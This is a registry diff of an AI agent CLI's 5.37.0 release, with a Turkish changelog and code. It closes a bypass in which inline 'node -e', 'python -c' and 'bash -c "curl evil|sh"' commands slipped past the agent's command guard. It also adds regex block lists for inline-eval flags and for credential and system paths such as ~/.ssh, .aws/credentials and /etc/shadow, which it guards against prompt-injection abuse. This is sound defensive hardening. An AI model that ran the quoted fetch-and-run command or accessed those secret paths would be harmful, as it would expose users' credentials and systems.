natureco-cli 5.36.0 → 5.37.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -2,6 +2,16 @@
2
2
 
3
3
  All notable changes to NatureCo CLI will be documented in this file.
4
4
 
5
+ ## [5.37.0] - 2026-07-05 — "GÜVENLİK: 2 açık kapatıldı (inline-eval bypass + hassas dosya erişimi)"
6
+
7
+ Sistematik guvenlik taramasi (POC'larla). 20 yikici komuttan 19'u zaten engelliydi; 2 gercek acik bulundu ve kapatildi.
8
+
9
+ ### 🔒 Güvenlik açıkları (kapatıldı)
10
+ - **Inline-kod exec bypass (KRİTİK)**: `node`/`python` allowlist'te (kod calistirma icin gerekli) oldugundan `node -e "require('fs').rmSync(...)"` / `python -c "..."` / `bash -c "curl evil|sh"` gibi INLINE kod, hem exec-allowlist'i hem yikici-komut guard'ini ATLIYORDU (guard komut string'inde "rm -rf" ararken inline kod fs.rmSync kullanabilir). Artik `-e`/`--eval`/`-p`/`-c`/`-r` inline-kod flag'leri + `eval` engellendi; mesru `node script.js` calistirma korunur. Inline kod icin sandboxli `code_execution` araci var.
11
+ - **Hassas dosya erisimi**: safe modda `write_file`/`read_file`/`edit_file` SSH anahtarlari (`~/.ssh/`, `id_rsa`, `.pem`), cloud credential (`.aws/credentials`), config secret (`.natureco/config.json`), sistem (`/etc/passwd|shadow`, System32/etc), `.npmrc`/`.git-credentials`/`.netrc` yollarina erisebiliyordu → prompt-injection ile SSH backdoor / credential sizintisi riski. Artik bu yollar safe modda engelli (goreceli `../../etc/shadow` traversal dahil); proje dosyalari serbest; full modda sahibin sorumlulugunda acilir.
12
+
13
+ Katmanli guvenlik: yikici-komut guard + inline-eval guard + exec-allowlist + hassas-yol guard + 7 araclik safe-mode allowlist. 4 yeni guvenlik regresyon testi. **509 test yeşil**, ESLint temiz.
14
+
5
15
  ## [5.36.0] - 2026-07-05 — "13 PHANTOM ARAÇ TANITILDI + feedback body genisletmesi"
6
16
 
7
17
  Sistematik denetim: 90 aracin agentic prompt/allowlist ile karsilastirmasi → **70 arac ajana HIC tanitilmamisti (phantom)**. Yuksek-degerli + guvenli + key gerektirmeyenler tanitildi (kullanicinin "bende olup uygulamada olmayan tool'lari ekle" hedefi).
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "natureco-cli",
3
- "version": "5.36.0",
3
+ "version": "5.37.0",
4
4
  "description": "OpenClaw'dan daha güvenli, daha hızlı, daha ucuz AI agent CLI. Multi-agent, self-evolving skills, audit log, maliyet optimizasyonu ve NatureCo platform-native.",
5
5
  "bin": {
6
6
  "natureco": "bin/natureco.js"
@@ -59,6 +59,26 @@ function expandHome(p) {
59
59
  return p;
60
60
  }
61
61
 
62
+ // Hassas dosya yolu koruması (safe modda). Coding-agent proje dosyalarina serbest erisir
63
+ // ama kimlik/secret yollari prompt-injection ile suistimal edilebilir (SSH backdoor,
64
+ // credential sizintisi). Full modda (sahibin opt-in'i) bypass edilir.
65
+ const SENSITIVE_READ = [
66
+ /(^|[\\/])\.ssh[\\/]/i, /id_rsa|id_ed25519|id_ecdsa|id_dsa/i, /\.pem$|\.ppk$|\.key$/i,
67
+ /(^|[\\/])\.aws[\\/]/i, /gcloud[\\/].*(credential|token)/i, /(^|[\\/])\.npmrc$/i,
68
+ /(^|[\\/])\.git-credentials$/i, /\.natureco[\\/]config\.json$/i, /(^|[\\/])\.netrc$/i,
69
+ ];
70
+ const SENSITIVE_WRITE = [
71
+ /(^|[\\/])\.ssh[\\/]/i, // authorized_keys/config yazma = backdoor
72
+ /^\/(etc|usr|bin|sbin|boot|sys)[\\/]/i, // mutlak sistem yollari
73
+ /(^|[\\/])etc[\\/](passwd|shadow|sudoers|hosts|crontab|ssh)/i, // goreceli traversal dahil (../../etc/shadow)
74
+ /System32[\\/]drivers[\\/]etc/i, /\.aws[\\/]credentials/i,
75
+ ];
76
+ function sensitivePathBlocked(p, mode) {
77
+ const s = String(p || '');
78
+ const pats = mode === 'write' ? SENSITIVE_WRITE : SENSITIVE_READ;
79
+ return pats.some((re) => re.test(s));
80
+ }
81
+
62
82
  // Ajanin urettigi komutlar icin ekstra koruma. bash.js kendi politikasini uygular
63
83
  // ama varsayilan 'full' mod yikici komutlari (rm -rf gibi) bile gecirir — bu insan
64
84
  // icin bilincli olabilir, ama MODELIN urettigi komut icin degil. Bu yuzden agentic
@@ -89,6 +109,14 @@ const AGENT_EXEC_BLOCK_PATTERNS = [
89
109
  /\bnpm\s+publish\b/i, /\byarn\s+publish\b/i, /\bpnpm\s+publish\b/i,
90
110
  /\bgit\s+push\b/i, /\bgit\s+remote\s+(add|set-url)\b/i,
91
111
  /\bnpm\s+(un)?deprecate\b/i, /\bnpm\s+owner\b/i,
112
+ // INLINE KOD ÇALIŞTIRMA — allowlist bypass'i (node/python izinli ama -e/-c ile keyfi kod
113
+ // dangerous-guard'i da atlar: "node -e require('fs').rmSync(...)"). Dosya calistirma
114
+ // ("node script.js") izinli kalir; inline kod icin code_execution araci var.
115
+ /\b(node|deno|bun)\s+.*(-e|--eval|-p\b|--print)/i,
116
+ /\b(python3?|py|ruby|perl)\s+.*(-c|-e)\b/i,
117
+ /\b(bash|sh|zsh|dash|ksh)\s+.*-c\b/i,
118
+ /\bphp\s+.*-r\b/i,
119
+ /\beval\b/i,
92
120
  ];
93
121
  // Full modda ("agentExec: full") acilan computer-use araclari: tarayici otomasyonu,
94
122
  // uygulama ac/kapat, GUI (tikla/yaz/ekran goruntusu). Safe modda (varsayilan) KAPALI.
@@ -308,6 +336,17 @@ async function executeCall(call, opts = {}) {
308
336
  }
309
337
  if (args.path) args.path = expandHome(args.path);
310
338
 
339
+ // Hassas dosya yolu guard'i (safe modda; full modda sahibin sorumlulugunda). SSH anahtari,
340
+ // cloud credential, config secret gibi yollara yazma/okumayi engeller (backdoor/sizinti).
341
+ if (!opts.execFull && args.path) {
342
+ const wantsWrite = (norm === 'write_file' || norm === 'edit_file');
343
+ const wantsRead = (norm === 'read_file');
344
+ if ((wantsWrite && sensitivePathBlocked(args.path, 'write')) || (wantsRead && sensitivePathBlocked(args.path, 'read'))) {
345
+ records.push({ tool: norm, status: 'error', args: { path: args.path }, error: 'Hassas dosya yolu (guvenli modda engellendi)' });
346
+ return { records, feedback: `${norm}: "${args.path}" hassas bir yol (SSH anahtari/credential/secret) — guvenli modda ERISILEMEZ. Gerekirse kullanici manuel yapabilir ya da tam mod: NATURECO_AGENT_EXEC=full.` };
347
+ }
348
+ }
349
+
311
350
  // Ajan modu guvenlik guard'i: yikici/tehlikeli kabuk komutlarini calistirmadan engelle
312
351
  if (norm === 'bash') {
313
352
  const cmd = (args.command || args.cmd || '').toString();